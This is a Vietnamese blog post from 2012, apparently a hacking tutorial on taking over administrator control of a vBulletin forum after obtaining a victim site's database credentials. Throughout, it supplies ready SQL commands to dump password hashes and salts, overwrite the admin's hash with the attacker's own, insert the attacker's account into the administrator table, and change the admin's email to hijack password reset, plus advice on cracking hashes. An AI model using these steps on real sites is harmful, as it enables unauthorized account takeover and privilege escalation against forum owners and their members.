Thứ Bảy, 4 tháng 8, 2012

Tut hướng dẫn chiếm quyền admin VBB trong data

cách 1: change pass admin trong data
cách 2: change adminpermissions
cách 3: forget pass admin

Yêu cầu:
Có được info data của victim bao gồm:

Code:
$config['Database']['dbname'] = 'forum';
$config['MasterServer']['servername'] = 'localhost';
$config['MasterServer']['username'] = 'root';
$config['MasterServer']['password'] = '123456';
Hiểu biết sơ về câu lệnh SQL

Đầu tiên ta tôi sẽ nói cho các bạn biết về các dạng mã hóa của một vài forum thông dụng hiện nay như:
Code:
1. phpBB : md5($pass) //ko dùng salt
2. VBB : md5(md5($pass).$salt)
3. IPB : md5(md5($salt).md5($pass))
Với
-$Pass là mật khẩu ban đầu.
-$salt là 3 kí tự ngẫu nhiên mà forum tạo ra. (Mục đích: cá nhân quá mật khẩu của member trong db).


OK băt đầu thôi:

Cách 1: change pass admin trong data


Việc đầu tiên ta cần làm là tạo 1 nick trong 4rum victim
Vi dụ nick là hacker pass: 123456
Sau đó connet vào data qua shell
Ta dung lệnh :
Code:
Select * from user
Với lệnh trên thì ta có thể xem dc tất cả user trên 4rum
Nếu 4rum victim có số lượng thành viện cở hơn 3k thì ta dung lệnh

Code:
Select password , salt from user where username='hacker'
Ta dc

Code:
Pass md5 : 5cc70df698ca01c3adb396a08b4873ad
Salt: ?`Y
Q: Tại sao lại phải select from user
A: Ta cần lấy pass mã hóa md5 + salt qua nick mới reg sau đó copy lưu lại.

Tips: bạn có thể lưu lại một số password đơn giản như: 123456, abcdef, 123abc để dễ dàng cho công việc hacking lần sau.

Q:Tiếp tục theo ta xác định ID của nick admin site victim. Nếu trong 4rum victim có nhiều admin ma ta ko bít admin nào có quyền superadmin hay rootadmin, hay admin đã thay đổi userid của rootadmin hay superadmin thì làm sao
A:Bay vào file config.php và tìm các dòng sau

Code:
$config['SpecialUsers']['canviewadminlog']
$config['SpecialUsers']['canpruneadminlog']
$config['SpecialUsers']['superadministrators']
Tìm xem userid của thằng rootadmin hay superadmin là báo nhiêu (Thưởng thì mặt đinh định là userid=1 là rootadmin)

Ta tiếp tục dùung lệnh
Code:
Select password , salt from user where userid=1
Lấy được pass md5 & salt
Vi dụ:
Code:
Pass md5 : eaf1672523371b7736282bbfc2c8b2ac
Salt : 2/D
Tiếp ta dùng lệnh
Update cú pháp thì các bạn có thể tìm hiểu thêm trên google

Code:
Update user set password=’pass md5 của nick mới reg’ ,salt=’ salt của nick mới reg’ where userid=’userid của admin
Câu lệnh hoàn chỉnh như sau:

Code:
Update user set password=’ 5cc70df698ca01c3adb396a08b4873ad’ ,salt=’?`Y’ where userid=’1
5cc70df698ca01c3adb396a08b4873ad là pass md5 của nick hacker
?`Y là salt của nick hacker
1 là userid của thằng admin

Tác dụng của câu lệnh này là
Update pass của thằng admin thành pass của nick mình
ở đây nick hacker có pass là 123456
Để kiểm tra kết quả ta vào 4rum victim đăng nhập bằng nick của thằng admin với password là 123456

Cách 2: Thay phân quyền trong table administrator

ở cách 2 thì không dài và rồm rà như cách 1 .Ta cũng connet vào data victim

dùng lệnh
Code:
update user set usergroupid =’6’ where username=’hacker
tác dung câu lệnh này là nâng quyền cho nick hacker vào group admin
với câu lệnh này nick hacker mới chỉ là admin bình thường … vẫn chưa có toàn quyền trên site victim .
ta tiếp tực dung lệnh
Code:
select * from administrator
với câu lệnh này ta xem dc các userid , adminpermissions, cssprefs còn những table khác ta ko quan tâm
ở đây lại chia ra thêm 2 cách nhỏ:

2.a) Dùng lệnh update
Code:
Update administrator set userid=’userid của nick hacker’ where userid=’userid của admin
Vi dú userid của nick hacker là 5 và userid của nick admin là 1 ta dung lệnh như sau
Code:
Update administrator set userid=’5’ where userid=’1
Thế là nick hacker đã là admin có toàn quyền

2.b) Dùng lệnh INSERT
ở đây ta có info của table administrator như sau
Code:
userid : 1
adminpermissions : 491516
navprefs : NULL
cssprefs :vBulletin_3_CarbonFibre2'
notes : NULL
dismissednews: NULL
languageid : 0
câu lệnh INSERT như sau

Code:
INSERT INTO `4rum`.`administrator` (`userid`, `adminpermissions`, `navprefs`, `cssprefs`, `notes`, `dismissednews`, `languageid`) VALUES ('5', '491516', NULL, ' vBulletin_3_CarbonFibre2', NULL, NULL, '0');
Phân tích câu lệnh

INSERT INTO `4rum`.`administrator` <== INSERT vào table administrator của database tên là 4rum.
Code:
(
`userid` ,
`adminpermissions` ,
`navprefs` ,
`cssprefs` ,
`notes` ,
`dismissednews` ,
`languageid`
)
VALUES (
'5', '2345', NULL , ' vBulletin_3_CarbonFibre2', NULL , NULL , '0' );
<== INSERT colum userid là 5 , adminpermissions là 2345 , cssprefs là vBulletin_3_CarbonFibre2'


Với câu lệnh này ta đã insert userid của nick hacker vào admin (có toàn quyền admin)
(Nếu bạn nào ko hiểu thì có thể tim hiểu thêm trên google)
Xong thử vào admincp của 4rum đăng nhập bằng nick hacker xem thế nào

Cách 3: Forget pass admin

Cách này thì đơn gian hơn 2 cách trên
Cách thức như sau
Vào 4rum victim đặng nhập bằng nick của admin …. Pass thì đánh đại đi
Khi đăng nhâp sai VBB sẽ thông báo và xuất hiện phần nhập mail và lấy lại password
http://victim/4rum/login.php?do=lostpw
nhập email của thằng admin vào rồi nhấp ok
sau đó vào data copy password mã hóa + sail
bỏ vào tool passwordpro
cho crack ở chế độ là số và ngồi đợi …
nếu bạn nào ko muốn đợi thì làm cách này
vào data
update mail của thẳng admin thành mail của mình
khi forget thì nhập mail của mình vào….
Sau khi forget xong vào mail lấy pass

Tut the end

Không có nhận xét nào: